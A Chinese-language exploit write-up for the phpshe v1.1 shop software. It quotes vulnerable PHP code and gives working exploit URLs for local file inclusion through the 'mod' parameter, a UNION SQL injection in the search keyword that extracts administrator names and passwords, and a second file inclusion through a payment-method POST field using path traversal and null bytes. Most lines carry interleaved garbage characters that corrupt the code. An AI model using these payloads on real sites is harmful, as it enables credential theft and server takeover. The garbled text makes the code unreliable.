phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/ X/ k+ v5 N! h9 J2 F9 Y/* ========================
" j6 ^: {2 n( m6 F1 ?  `5 t/* By: : Kn1f3
9 i  n1 n$ h" c) {, }+ W/* E-Mail : 681796@qq.com
/*******************************************************/
0 ~# N, x' G+ ~+ `. L2 e( r0×00 整体大概参数传输
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: i- W, h( X. |' T$ }/ G: [//common.php
2 l6 ^' E0 Z9 E" i5 Aif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
. ~4 o% J+ L' D: c# s7 celse {
) f1 H; {( a5 ^' K!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
/ ]1 e) }4 ]' `# x9 v+ {9 \!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
" y8 G; O8 I/ p" Q3 [5 ]  C}
* W1 Q3 H# p, G/ Y( i' Z; Msession_start();
# O/ Q  B) m) O8 D* y2 _!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
2 U2 D3 t, z: p; J!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞

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& d% A; S- \2 g4 e" j" C//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
! O( E  Q1 ^) ^# T- Q& o: Wpe_result();
$ B8 p9 ~+ ^% ^- z?>
3 e$ P0 i& x, v5 Q4 m//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
+ ~) S8 s+ J  X$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
2 i3 A1 X& n. a' z) Q! F2 l//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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$ i( X& @6 P  f% a3 M$ r 0×02 搜索注入
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<code id="code2">

//product.php文件
case 'list':
1 a+ i2 R( x3 e/ i! c' C( p$category_id = intval($id);
( h. |. z% V7 w+ |$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
; E( {! v, f. I7 L% l8 z$sqlwhere = " and `product_state` = 1";
  l& _2 w) L$ h- u( e5 K# Epe_lead('hook/category.hook.php');
" ]  }# k: g8 T; ?, nif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
5 r; q/ W8 J. G) ?& t}
! e8 v- v5 R( m" t$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
& m. B- Z; s2 S  w* @5 A4 _$ nif ($_g_orderby) {
, a# ^1 _( `" {, t, U; k; f$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
1 {: ?( j9 }+ K! K- R5 I2 w7 Q$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
  D2 J  l: p$ W$product_hotlist = product_hotlist();
' }3 \% t, C7 ~- Z- U8 N5 ~//当前路径
6 K7 f, ~* N1 }6 q6 I5 r$nowpath = category_path($category_id);
0 [! s; o# q  b+ S( z4 W2 J$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
) t- j6 l/ @5 {! n' w( |, q//跟进selectall函数库
  K% [7 N) F& ?5 _public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
8 F' Q9 O0 a% e) d* x! Freturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
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* s* g% F; ~: j//exp
* K9 t% p7 }! O* T, Iproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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* ~. \6 b6 Q+ b5 H, s2 u0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

( Q6 _) @$ ^# o# p$cache_payway = cache::get('payway');

: K5 f1 B% _3 J" Q+ }% fforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

% `8 T$ M# x4 _$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

! R1 F4 u* e4 @6 m! d: cforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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}

& j. n1 a! @! W3 e  e1 K8 |) `3 ~echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

& Z/ U  E; y% q) s* l}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

8 |) i- @; |3 C- l- }, x0 I) [7 J; Rpe_error('支付错误...');

}

}

0 H0 o; L$ S. h, \/ X! w8 V# a) t$seo = pe_seo('选择支付方式');

) J8 o' x- S- O8 h9 U  W. pinclude(pe_tpl('order_pay.html'));

# M. w6 T) f$ E* q, Ebreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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